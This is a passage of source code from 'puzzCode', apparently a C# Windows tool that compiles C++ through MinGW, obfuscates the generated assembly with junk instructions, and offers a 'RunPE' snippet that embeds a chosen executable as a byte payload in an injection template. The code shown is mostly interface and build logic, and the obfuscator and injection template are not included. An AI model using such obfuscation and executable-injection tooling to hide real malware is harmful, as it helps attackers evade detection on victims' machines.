System.Windows.Forms.ToolStripRenderMode.System; 122 | this.toolbox.Size = new System.Drawing.Size(789, 39); 123 | this.toolbox.Stretch = true; 124 | this.toolbox.TabIndex = 7; 125 | this.toolbox.Text = "toolStrip"; 126 | // 127 | // compile 128 | // 129 | this.compile.Image = ((System.Drawing.Image)(resources.GetObject("compile.Image"))); 130 | this.compile.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; 131 | this.compile.ImageTransparentColor = System.Drawing.Color.Magenta; 132 | this.compile.Name = "compile"; 133 | this.compile.Size = new System.Drawing.Size(92, 36); 134 | this.compile.Text = "&Compile"; 135 | this.compile.ToolTipText = "Compile"; 136 | this.compile.Click += new System.EventHandler(this.compile_Click); 137 | // 138 | // run 139 | // 140 | this.run.Image = ((System.Drawing.Image)(resources.GetObject("run.Image"))); 141 | this.run.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; 142 | this.run.ImageTransparentColor = System.Drawing.Color.Magenta; 143 | this.run.Name = "run"; 144 | this.run.Size = new System.Drawing.Size(66, 36); 145 | this.run.Text = "&Run"; 146 | this.run.ToolTipText = "Run"; 147 | this.run.Click += new System.EventHandler(this.run_Click); 148 | // 149 | // config 150 | // 151 | this.config.Image = ((System.Drawing.Image)(resources.GetObject("config.Image"))); 152 | this.config.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; 153 | this.config.ImageTransparentColor = System.Drawing.Color.Magenta; 154 | this.config.Name = "config"; 155 | this.config.Size = new System.Drawing.Size(82, 36); 156 | this.config.Text = "&Config"; 157 | this.config.ToolTipText = "Config"; 158 | this.config.Click += new System.EventHandler(this.config_Click); 159 | // 160 | // browse 161 | // 162 | this.browse.Image = ((System.Drawing.Image)(resources.GetObject("browse.Image"))); 163 | this.browse.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; 164 | this.browse.ImageTransparentColor = System.Drawing.Color.Magenta; 165 | this.browse.Name = "browse"; 166 | this.browse.Size = new System.Drawing.Size(84, 36); 167 | this.browse.Text = "&Browse"; 168 | this.browse.ToolTipText = "Browse"; 169 | this.browse.Click += new System.EventHandler(this.browse_Click); 170 | // 171 | // logPanelBtn 172 | // 173 | this.logPanelBtn.Alignment = System.Windows.Forms.ToolStripItemAlignment.Right; 174 | this.logPanelBtn.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; 175 | this.logPanelBtn.ImageTransparentColor = System.Drawing.Color.Magenta; 176 | this.logPanelBtn.Name = "logPanelBtn"; 177 | this.logPanelBtn.Size = new System.Drawing.Size(23, 36); 178 | this.logPanelBtn.Text = "+"; 179 | this.logPanelBtn.ToolTipText = "Log Panel"; 180 | this.logPanelBtn.Click += new System.EventHandler(this.logPanelBtn_Click); 181 | // 182 | // Snippet 183 | // 184 | this.Snippet.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { 185 | this.runPEToolStripMenuItem}); 186 | this.Snippet.Image = ((System.Drawing.Image)(resources.GetObject("Snippet.Image"))); 187 | this.Snippet.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; 188 | this.Snippet.ImageTransparentColor = System.Drawing.Color.Magenta; 189 | this.Snippet.Name = "Snippet"; 190 | this.Snippet.Size = new System.Drawing.Size(89, 36); 191 | this.Snippet.Text = "&Snippet"; 192 | // 193 | // runPEToolStripMenuItem 194 | // 195 | this.runPEToolStripMenuItem.Name = "runPEToolStripMenuItem"; 196 | this.runPEToolStripMenuItem.Size = new System.Drawing.Size(112, 22); 197 | this.runPEToolStripMenuItem.Text = "RunPE"; 198 | this.runPEToolStripMenuItem.Click += new System.EventHandler(this.runPEToolStripMenuItem_Click); 199 | // 200 | // about 201 | // 202 | this.about.Image = ((System.Drawing.Image)(resources.GetObject("about.Image"))); 203 | this.about.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; 204 | this.about.ImageTransparentColor = System.Drawing.Color.Magenta; 205 | this.about.Name = "about"; 206 | this.about.Size = new System.Drawing.Size(79, 36); 207 | this.about.Text = "&About"; 208 | this.about.ToolTipText = "About"; 209 | this.about.Click += new System.EventHandler(this.about_Click); 210 | // 211 | // percntLB 212 | // 213 | this.percntLB.Alignment = System.Windows.Forms.ToolStripItemAlignment.Right; 214 | this.percntLB.Name = "percntLB"; 215 | this.percntLB.Size = new System.Drawing.Size(40, 36); 216 | this.percntLB.Text = "100%"; 217 | // 218 | // logBox 219 | // 220 | this.logBox.AcceptsTab = true; 221 | this.logBox.BorderStyle = System.Windows.Forms.BorderStyle.None; 222 | this.logBox.Dock = System.Windows.Forms.DockStyle.Fill; 223 | this.logBox.Font = new System.Drawing.Font("Courier New", 9.75F); 224 | this.logBox.Location = new System.Drawing.Point(0, 0); 225 | this.logBox.Name = "logBox"; 226 | this.logBox.Size = new System.Drawing.Size(789, 179); 227 | this.logBox.TabIndex = 9; 228 | this.logBox.Text = ""; 229 | // 230 | // openFileDialog 231 | // 232 | this.openFileDialog.FileName = "openFileDialog"; 233 | this.openFileDialog.Filter = "Executable File|*.exe"; 234 | this.openFileDialog.Title = "Select Your Executable File To Inject"; 235 | // 236 | // UI 237 | // 238 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 239 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 240 | this.ClientSize = new System.Drawing.Size(791, 351); 241 | this.Controls.Add(this.splitContainer); 242 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 243 | this.Name = "UI"; 244 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 245 | this.Shown += new System.EventHandler(this.refreshUi); 246 | this.splitContainer.Panel1.ResumeLayout(false); 247 | this.splitContainer.Panel1.PerformLayout(); 248 | this.splitContainer.Panel2.ResumeLayout(false); 249 | this.splitContainer.ResumeLayout(false); 250 | ((System.ComponentModel.ISupportInitialize)(this.fastColoredTextBox)).EndInit(); 251 | this.toolbox.ResumeLayout(false); 252 | this.toolbox.PerformLayout(); 253 | this.ResumeLayout(false); 254 | 255 | } 256 | 257 | #endregion 258 | 259 | private System.Windows.Forms.SplitContainer splitContainer; 260 | private System.Windows.Forms.RichTextBox logBox; 261 | private FastColoredTextBoxNS.FastColoredTextBox fastColoredTextBox; 262 | private System.Windows.Forms.ToolStrip toolbox; 263 | private System.Windows.Forms.ToolStripButton compile; 264 | private System.Windows.Forms.ToolStripButton config; 265 | private System.Windows.Forms.ToolStripButton browse; 266 | private System.Windows.Forms.ToolStripButton about; 267 | private System.Windows.Forms.ToolStripButton run; 268 | private System.Windows.Forms.ToolStripButton logPanelBtn; 269 | private System.Windows.Forms.ToolStripDropDownButton Snippet; 270 | private System.Windows.Forms.ToolStripMenuItem runPEToolStripMenuItem; 271 | private System.Windows.Forms.OpenFileDialog openFileDialog; 272 | public System.Windows.Forms.ToolStripLabel percntLB; 273 | } 274 | } 275 | 276 | -------------------------------------------------------------------------------- /puzzCode/UI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Diagnostics; 6 | using System.Drawing; 7 | using System.IO; 8 | using Microsoft.VisualBasic; 9 | using System.Text.RegularExpressions; 10 | using System.Windows.Forms; 11 | using System.Security.Cryptography; 12 | 13 | namespace puzzCode 14 | { 15 | public partial class UI : Form 16 | { 17 | public UI() 18 | { 19 | InitializeComponent(); 20 | } 21 | 22 | private static void logMsg(string text, Color colorReq) 23 | { 24 | Program.mainUi.BeginInvoke((MethodInvoker)delegate 25 | { 26 | Color org = Program.mainUi.logBox.SelectionColor; 27 | Program.mainUi.logBox.SelectionColor = colorReq; 28 | Program.mainUi.logBox.AppendText(text + "\n"); 29 | Program.mainUi.logBox.SelectionColor = org; 30 | Program.mainUi.logBox.ScrollToCaret(); 31 | Program.mainUi.Refresh(); 32 | }); 33 | 34 | } 35 | 36 | private string demostr = 37 | " .-.\n" + 38 | "(o o) boo!\n" + 39 | "| O \\\n" + 40 | " \\ \\\n" + 41 | " `~~~'\n" + 42 | "puzzCode v1.0\n" + 43 | "support for x86 executable file(PE) only.\n" + 44 | "powered by aaaddress1 @chroot.org"; 45 | public string srcPath = "", asmPath = "", obfAsmPath = "", exePath = ""; 46 | 47 | private void refreshUi(object sender, EventArgs e) 48 | { 49 | /* i'm too lazy to make a editor for C/C++ :P, 50 | * and this editor is really useful!! 51 | * https://github.com/PavelTorgashov/FastColoredTextBox */ 52 | fastColoredTextBox.Language = FastColoredTextBoxNS.Language.CSharp; 53 | 54 | if (srcPath == "") 55 | srcPath = Path.Combine(Application.StartupPath, "main.cpp"); 56 | 57 | if (!File.Exists(srcPath)) 58 | File.WriteAllText(srcPath, Properties.Resources.templateSrc); 59 | 60 | fastColoredTextBox.InsertText(File.ReadAllText(srcPath)); 61 | 62 | asmPath = Path.Combine(Path.GetDirectoryName(srcPath), Path.GetFileNameWithoutExtension(srcPath) + ".s"); 63 | obfAsmPath = Path.Combine(Path.GetDirectoryName(srcPath), Path.GetFileNameWithoutExtension(srcPath) + "_obf.s"); 64 | exePath = Path.Combine(Path.GetDirectoryName(srcPath), Path.GetFileNameWithoutExtension(srcPath) + ".exe"); 65 | this.Text = string.Format("puzzCode [{0}] by aaaddres1@chroot.org", new FileInfo(srcPath).Name); 66 | 67 | logBox.Clear(); 68 | logMsg(demostr, Color.Blue); 69 | 70 | compiler.logText = this.logBox; 71 | obfuscator.logText = this.logBox; 72 | 73 | this.splitContainer.Panel2Collapsed = true; 74 | 75 | if (!new DirectoryInfo(Properties.Settings.Default.gwPath).Exists) 76 | { 77 | MessageBox.Show("please choose your MinGW path."); 78 | (new config()).ShowDialog(); 79 | if (!new DirectoryInfo(Properties.Settings.Default.gwPath).Exists) 80 | { 81 | MessageBox.Show("sorry, MinGW not found :("); 82 | Application.Exit(); 83 | } 84 | } 85 | } 86 | 87 | private void config_Click(object sender, EventArgs e) 88 | { 89 | new config().ShowDialog(); 90 | } 91 | 92 | private void logPanelBtn_Click(object sender, EventArgs e) 93 | { 94 | this.splitContainer.Panel2Collapsed = !this.splitContainer.Panel2Collapsed; 95 | logPanelBtn.Text = this.splitContainer.Panel2Collapsed ? "+" : "x"; 96 | } 97 | 98 | private void runPEToolStripMenuItem_Click(object sender, EventArgs e) 99 | { 100 | if (this.openFileDialog.ShowDialog() == DialogResult.OK) 101 | { 102 | byte[] file = System.IO.File.ReadAllBytes(this.openFileDialog.FileName); 103 | string injectSrc = Properties.Resources.templateInjectSrc; 104 | 105 | injectSrc = injectSrc.Replace("{EXECUTABLE_FILE_PAYLOAD}", "{0x" + BitConverter.ToString(file).Replace("-", ", 0x") + "}"); 106 | injectSrc = injectSrc.Replace("{EXECUTABLE_FILE_PATH}", this.openFileDialog.FileName); 107 | fastColoredTextBox.Clear(); 108 | fastColoredTextBox.InsertText(injectSrc); 109 | } 110 | 111 | } 112 | 113 | private void about_Click(object sender, EventArgs e) 114 | { 115 | (new aboutUI()).ShowDialog(); 116 | } 117 | 118 | private void run_Click(object sender, EventArgs e) 119 | { 120 | if (new FileInfo(exePath).Exists) 121 | Process.Start(exePath); 122 | else 123 | MessageBox.Show("executable file not found!"); 124 | } 125 | 126 | private void compile_Click(object sender, EventArgs e) 127 | { 128 | 129 | (new System.Threading.Thread(() => 130 | { 131 | this.Invoke((MethodInvoker)delegate () { 132 | compile.Enabled = false; 133 | logBox.Clear(); 134 | logMsg(demostr, Color.Blue); 135 | this.splitContainer.Panel2Collapsed = false; 136 | this.logPanelBtn.Text = "x"; 137 | }); 138 | File.WriteAllText(srcPath, this.fastColoredTextBox.Text); 139 | File.Delete(exePath); 140 | File.Delete(asmPath); 141 | File.Delete(obfAsmPath); 142 | 143 | logMsg(" --- \n", Color.Blue); 144 | logMsg(string.Format( 145 | "[\tInfo\t] current compile info... \n" + 146 | " - source: {0}\n" + 147 | " - asm path: {1}\n" + 148 | " - obfuscated asm path: {2}\n" + 149 | " - output exe path: {3}\n", srcPath, asmPath, obfAsmPath, exePath), Color.Blue); 150 | 151 | if (compiler.geneateAsmSource(srcPath, asmPath)) 152 | logMsg("[\tOK\t] generate assembly code of source code.", Color.Green); 153 | else 154 | { 155 | logMsg("[\tFail\t] generate assembly code of sorce code failure ...", Color.Red); 156 | this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; }); 157 | return; 158 | } 159 | 160 | if (obfuscator.obfuscaAsm(asmPath, obfAsmPath)) 161 | logMsg("[\tOK\t] generate obfuscated assembly code of source code.", Color.Green); 162 | else 163 | { 164 | logMsg("[\tFail\t] generate obfuscated assembly code of sorce code failure ...", Color.Red); 165 | this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; }); 166 | return; 167 | } 168 | if (compiler.generateExe(obfAsmPath, exePath)) 169 | { 170 | var arr = System.IO.File.ReadAllBytes(exePath); 171 | var size = arr.Length; 172 | var md5 = BitConverter.ToString(MD5.Create().ComputeHash(arr)).Replace("-", ""); 173 | var sha256 = BitConverter.ToString(SHA256.Create().ComputeHash(arr)).Replace("-", ""); 174 | logMsg("[\tInfo\t] exe size: " + size + " bytes", Color.Blue); 175 | logMsg("[\tInfo\t] MD5: " + md5, Color.Blue); 176 | logMsg("[\tInfo\t] SHA256: " + sha256, Color.Blue); 177 | logMsg("[\tOK\t] generate executable file successfully :)", Color.Green); 178 | } 179 | else 180 | logMsg("[\tFail\t] generate executable file failure ... o___O", Color.Red); 181 | 182 | if (Properties.Settings.Default.clnAftCompile) 183 | { 184 | File.Delete(asmPath); 185 | File.Delete(obfAsmPath); 186 | } 187 | this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; }); 188 | }) 189 | { IsBackground = true }).Start(); 190 | } 191 | 192 | private void browse_Click(object sender, EventArgs e) 193 | { 194 | Process p = new Process(); 195 | p.StartInfo.FileName = "explorer"; 196 | p.StartInfo.Arguments = Application.StartupPath; 197 | p.Start(); 198 | } 199 | } 200 | } 201 | -------------------------------------------------------------------------------- /puzzCode/aboutUI.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace puzzCode 2 | { 3 | partial class aboutUI 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(aboutUI)); 32 | this.groupBox1 = new System.Windows.Forms.GroupBox(); 33 | this.richTextBox2 = new System.Windows.Forms.RichTextBox(); 34 | this.pictureBox1 = new System.Windows.Forms.PictureBox(); 35 | this.richTextBox1 = new System.Windows.Forms.RichTextBox(); 36 | this.groupBox1.SuspendLayout(); 37 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); 38 | this.SuspendLayout(); 39 | // 40 | // groupBox1 41 | // 42 | this.groupBox1.Controls.Add(this.richTextBox2); 43 | this.groupBox1.Controls.Add(this.pictureBox1); 44 | this.groupBox1.Dock = System.Windows.Forms.DockStyle.Top; 45 | this.groupBox1.Location = new System.Drawing.Point(0, 0); 46 | this.groupBox1.Name = "groupBox1"; 47 | this.groupBox1.Size = new System.Drawing.Size(444, 150); 48 | this.groupBox1.TabIndex = 4; 49 | this.groupBox1.TabStop = false; 50 | this.groupBox1.Text = "MIT License"; 51 | // 52 | // richTextBox2 53 | // 54 | this.richTextBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; 55 | this.richTextBox2.Dock = System.Windows.Forms.DockStyle.Fill; 56 | this.richTextBox2.Location = new System.Drawing.Point(133, 18); 57 | this.richTextBox2.Name = "richTextBox2"; 58 | this.richTextBox2.Size = new System.Drawing.Size(308, 129); 59 | this.richTextBox2.TabIndex = 6; 60 | this.richTextBox2.Text = resources.GetString("richTextBox2.Text"); 61 | // 62 | // pictureBox1 63 | // 64 | this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Left; 65 | this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); 66 | this.pictureBox1.Location = new System.Drawing.Point(3, 18); 67 | this.pictureBox1.Name = "pictureBox1"; 68 | this.pictureBox1.Size = new System.Drawing.Size(130, 129); 69 | this.pictureBox1.TabIndex = 5; 70 | this.pictureBox1.TabStop = false; 71 | // 72 | // richTextBox1 73 | // 74 | this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; 75 | this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; 76 | this.richTextBox1.Location = new System.Drawing.Point(0, 150); 77 | this.richTextBox1.Name = "richTextBox1"; 78 | this.richTextBox1.Size = new System.Drawing.Size(444, 195); 79 | this.richTextBox1.TabIndex = 6; 80 | this.richTextBox1.Text = resources.GetString("richTextBox1.Text"); 81 | // 82 | // aboutUI 83 | // 84 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 85 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 86 | this.BackColor = System.Drawing.Color.White; 87 | this.ClientSize = new System.Drawing.Size(444, 345); 88 | this.Controls.Add(this.richTextBox1); 89 | this.Controls.Add(this.groupBox1); 90 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 91 | this.MaximizeBox = false; 92 | this.MinimizeBox = false; 93 | this.Name = "aboutUI"; 94 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 95 | this.Text = "About puzzCode"; 96 | this.Load += new System.EventHandler(this.aboutUI_Load); 97 | this.groupBox1.ResumeLayout(false); 98 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); 99 | this.ResumeLayout(false); 100 | 101 | } 102 | 103 | #endregion 104 | 105 | private System.Windows.Forms.GroupBox groupBox1; 106 | private System.Windows.Forms.RichTextBox richTextBox2; 107 | private System.Windows.Forms.PictureBox pictureBox1; 108 | private System.Windows.Forms.RichTextBox richTextBox1; 109 | } 110 | } -------------------------------------------------------------------------------- /puzzCode/aboutUI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace puzzCode 10 | { 11 | public partial class aboutUI : Form 12 | { 13 | public aboutUI() 14 | { 15 | InitializeComponent(); 16 | } 17 | 18 | private void aboutUI_Load(object sender, EventArgs e) 19 | { 20 | 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /puzzCode/app.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | C:\MinGW\Bin\ 12 | 13 | 14 | -mwindows -static -Wl,--strip-all -Wl,--image-base=0xF00000 15 | 16 | 17 | -Os -O3 -fno-ident 18 | 19 | 20 | 50 21 | 22 | 23 | True 24 | 25 | 26 | True 27 | 28 | 29 | True 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /puzzCode/compiler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Drawing; 5 | using System.IO; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace puzzCode 10 | { 11 | public static class compiler 12 | { 13 | public static RichTextBox logText; 14 | private static void logMsg(string text, Color colorReq) 15 | { 16 | Program.mainUi.BeginInvoke((MethodInvoker)delegate 17 | { 18 | Color org = logText.SelectionColor; 19 | logText.SelectionColor = colorReq; 20 | logText.AppendText(text + "\n"); 21 | logText.SelectionColor = org; 22 | logText.ScrollToCaret(); 23 | }); 24 | } 25 | 26 | public static bool geneateAsmSource(string srcPath, string outAsmPath) 27 | { 28 | Process p = new Process(); 29 | p.StartInfo.RedirectStandardError = true; 30 | p.StartInfo.UseShellExecute = false; 31 | p.StartInfo.RedirectStandardOutput = true; 32 | p.StartInfo.CreateNoWindow = true; 33 | p.StartInfo.FileName = Path.Combine(Properties.Settings.Default.gwPath, "g++.exe"); 34 | p.StartInfo.WorkingDirectory = Properties.Settings.Default.gwPath; 35 | 36 | p.StartInfo.Arguments = string.Format("-S {0} -masm=intel {2} -o {1}", srcPath, outAsmPath, Properties.Settings.Default.clArg); 37 | p.Start(); 38 | 39 | string errr = p.StandardError.ReadToEnd(); 40 | string oupt = p.StandardOutput.ReadToEnd(); 41 | p.WaitForExit(); 42 | if (File.Exists(outAsmPath)) return true; 43 | 44 | Program.mainUi.Invoke((MethodInvoker)delegate () 45 | { 46 | if (logText == null) return; 47 | logMsg("============= Error =============", Color.Red); 48 | logMsg(errr + oupt, Color.Red); 49 | }); 50 | return false; 51 | } 52 | 53 | 54 | public static bool generateExe(string asmPath, string exeOutPath) 55 | { 56 | Process p = new Process(); 57 | p.StartInfo.RedirectStandardError = true; 58 | p.StartInfo.UseShellExecute = false; 59 | p.StartInfo.RedirectStandardOutput = true; 60 | p.StartInfo.CreateNoWindow = true; 61 | p.StartInfo.FileName = Path.Combine(Properties.Settings.Default.gwPath, "g++.exe"); 62 | p.StartInfo.WorkingDirectory = Properties.Settings.Default.gwPath; 63 | p.StartInfo.Arguments = string.Format("{0} -masm=intel {2} -o {1}", asmPath, exeOutPath, Properties.Settings.Default.linkArg); 64 | p.Start(); 65 | 66 | string errr = p.StandardError.ReadToEnd(); 67 | string oupt = p.StandardOutput.ReadToEnd(); 68 | p.WaitForExit(); 69 | if (File.Exists(exeOutPath)) return true; 70 | 71 | Program.mainUi.Invoke((MethodInvoker)delegate () 72 | { 73 | if (logText == null) return; 74 | logMsg("============= Error =============", Color.Red); 75 | logMsg(errr + oupt, Color.Red); 76 | }); 77 | return false; 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /puzzCode/config.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace puzzCode 2 | { 3 | partial class config 4 | { 5 | /// 6 | /// 設計工具所需的變數。 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// 清除任何使用中的資源。 12 | /// 13 | protected override void Dispose(bool disposing) 14 | { 15 | if (disposing && (components != null)) 16 | { 17 | components.Dispose(); 18 | } 19 | base.Dispose(disposing); 20 | } 21 | 22 | #region Windows Form 設計工具產生的程式碼 23 | 24 | /// 25 | /// 此為設計工具支援所需的方法 - 請勿使用程式碼編輯器修改 26 | /// 這個方法的內容。 27 | /// 28 | private void InitializeComponent() 29 | { 30 | this.label1 = new System.Windows.Forms.Label(); 31 | this.gwPathTB = new System.Windows.Forms.TextBox(); 32 | this.button1 = new System.Windows.Forms.Button(); 33 | this.label2 = new System.Windows.Forms.Label(); 34 | this.clArgTB = new System.Windows.Forms.TextBox(); 35 | this.lkArgTB = new System.Windows.Forms.TextBox(); 36 | this.label3 = new System.Windows.Forms.Label(); 37 | this.button2 = new System.Windows.Forms.Button(); 38 | this.obfusPcntTB = new System.Windows.Forms.TextBox(); 39 | this.label4 = new System.Windows.Forms.Label(); 40 | this.insrtJunkCB = new System.Windows.Forms.CheckBox(); 41 | this.cnfOrgJunk = new System.Windows.Forms.CheckBox(); 42 | this.clnComplieCB = new System.Windows.Forms.CheckBox(); 43 | this.SuspendLayout(); 44 | // 45 | // label1 46 | // 47 | this.label1.AutoSize = true; 48 | this.label1.Location = new System.Drawing.Point(12, 17); 49 | this.label1.Name = "label1"; 50 | this.label1.Size = new System.Drawing.Size(66, 12); 51 | this.label1.TabIndex = 0; 52 | this.label1.Text = "MinGW Path"; 53 | // 54 | // gwPathTB 55 | // 56 | this.gwPathTB.BorderStyle = System.Windows.Forms.BorderStyle.None; 57 | this.gwPathTB.Location = new System.Drawing.Point(156, 14); 58 | this.gwPathTB.Name = "gwPathTB"; 59 | this.gwPathTB.Size = new System.Drawing.Size(508, 15); 60 | this.gwPathTB.TabIndex = 2; 61 | this.gwPathTB.Text = "C:\\MinGW\\bin"; 62 | this.gwPathTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; 63 | // 64 | // button1 65 | // 66 | this.button1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); 67 | this.button1.Location = new System.Drawing.Point(592, 149); 68 | this.button1.Name = "button1"; 69 | this.button1.Size = new System.Drawing.Size(72, 23); 70 | this.button1.TabIndex = 4; 71 | this.button1.Text = "&Save"; 72 | this.button1.UseVisualStyleBackColor = true; 73 | this.button1.Click += new System.EventHandler(this.button1_Click); 74 | // 75 | // label2 76 | // 77 | this.label2.AutoSize = true; 78 | this.label2.Location = new System.Drawing.Point(12, 38); 79 | this.label2.Name = "label2"; 80 | this.label2.Size = new System.Drawing.Size(99, 12); 81 | this.label2.TabIndex = 5; 82 | this.label2.Text = "Compiler Argument"; 83 | // 84 | // clArgTB 85 | // 86 | this.clArgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; 87 | this.clArgTB.Location = new System.Drawing.Point(156, 35); 88 | this.clArgTB.Name = "clArgTB"; 89 | this.clArgTB.Size = new System.Drawing.Size(508, 15); 90 | this.clArgTB.TabIndex = 6; 91 | this.clArgTB.Text = "-Os -fdata-sections -ffunction-sections -O3 -fno-rtti -fno-threadsafe-statics -fn" + 92 | "o-exceptions"; 93 | this.clArgTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; 94 | // 95 | // lkArgTB 96 | // 97 | this.lkArgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; 98 | this.lkArgTB.Location = new System.Drawing.Point(156, 56); 99 | this.lkArgTB.Name = "lkArgTB"; 100 | this.lkArgTB.Size = new System.Drawing.Size(508, 15); 101 | this.lkArgTB.TabIndex = 8; 102 | this.lkArgTB.Text = "-mwindows -static -Wl,--strip-all"; 103 | this.lkArgTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; 104 | // 105 | // label3 106 | // 107 | this.label3.AutoSize = true; 108 | this.label3.Location = new System.Drawing.Point(12, 59); 109 | this.label3.Name = "label3"; 110 | this.label3.Size = new System.Drawing.Size(86, 12); 111 | this.label3.TabIndex = 7; 112 | this.label3.Text = "Linker Argument"; 113 | // 114 | // button2 115 | // 116 | this.button2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); 117 | this.button2.Location = new System.Drawing.Point(514, 149); 118 | this.button2.Name = "button2"; 119 | this.button2.Size = new System.Drawing.Size(72, 23); 120 | this.button2.TabIndex = 9; 121 | this.button2.Text = "&Reset"; 122 | this.button2.UseVisualStyleBackColor = true; 123 | this.button2.Click += new System.EventHandler(this.button2_Click); 124 | // 125 | // obfusPcntTB 126 | // 127 | this.obfusPcntTB.BorderStyle = System.Windows.Forms.BorderStyle.None; 128 | this.obfusPcntTB.Location = new System.Drawing.Point(630, 77); 129 | this.obfusPcntTB.Name = "obfusPcntTB"; 130 | this.obfusPcntTB.Size = new System.Drawing.Size(34, 15); 131 | this.obfusPcntTB.TabIndex = 11; 132 | this.obfusPcntTB.Text = "50"; 133 | this.obfusPcntTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; 134 | // 135 | // label4 136 | // 137 | this.label4.AutoSize = true; 138 | this.label4.Location = new System.Drawing.Point(12, 80); 139 | this.label4.Name = "label4"; 140 | this.label4.Size = new System.Drawing.Size(110, 12); 141 | this.label4.TabIndex = 10; 142 | this.label4.Text = "Obfuscate % (0 ~ 100)"; 143 | // 144 | // insrtJunkCB 145 | // 146 | this.insrtJunkCB.AutoSize = true; 147 | this.insrtJunkCB.Location = new System.Drawing.Point(14, 109); 148 | this.insrtJunkCB.Name = "insrtJunkCB"; 149 | this.insrtJunkCB.Size = new System.Drawing.Size(107, 16); 150 | this.insrtJunkCB.TabIndex = 12; 151 | this.insrtJunkCB.Text = "Insert Junk Codes"; 152 | this.insrtJunkCB.UseVisualStyleBackColor = true; 153 | // 154 | // cnfOrgJunk 155 | // 156 | this.cnfOrgJunk.AutoSize = true; 157 | this.cnfOrgJunk.Location = new System.Drawing.Point(14, 131); 158 | this.cnfOrgJunk.Name = "cnfOrgJunk"; 159 | this.cnfOrgJunk.Size = new System.Drawing.Size(133, 16); 160 | this.cnfOrgJunk.TabIndex = 13; 161 | this.cnfOrgJunk.Text = "Confuse Orginal Codes"; 162 | this.cnfOrgJunk.UseVisualStyleBackColor = true; 163 | // 164 | // clnComplieCB 165 | // 166 | this.clnComplieCB.AutoSize = true; 167 | this.clnComplieCB.Location = new System.Drawing.Point(14, 153); 168 | this.clnComplieCB.Name = "clnComplieCB"; 169 | this.clnComplieCB.Size = new System.Drawing.Size(121, 16); 170 | this.clnComplieCB.TabIndex = 14; 171 | this.clnComplieCB.Text = "Clean After Compile"; 172 | this.clnComplieCB.UseVisualStyleBackColor = true; 173 | // 174 | // config 175 | // 176 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 177 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 178 | this.ClientSize = new System.Drawing.Size(676, 180); 179 | this.Controls.Add(this.clnComplieCB); 180 | this.Controls.Add(this.cnfOrgJunk); 181 | this.Controls.Add(this.insrtJunkCB); 182 | this.Controls.Add(this.obfusPcntTB); 183 | this.Controls.Add(this.label4); 184 | this.Controls.Add(this.button2); 185 | this.Controls.Add(this.lkArgTB); 186 | this.Controls.Add(this.label3); 187 | this.Controls.Add(this.clArgTB); 188 | this.Controls.Add(this.label2); 189 | this.Controls.Add(this.button1); 190 | 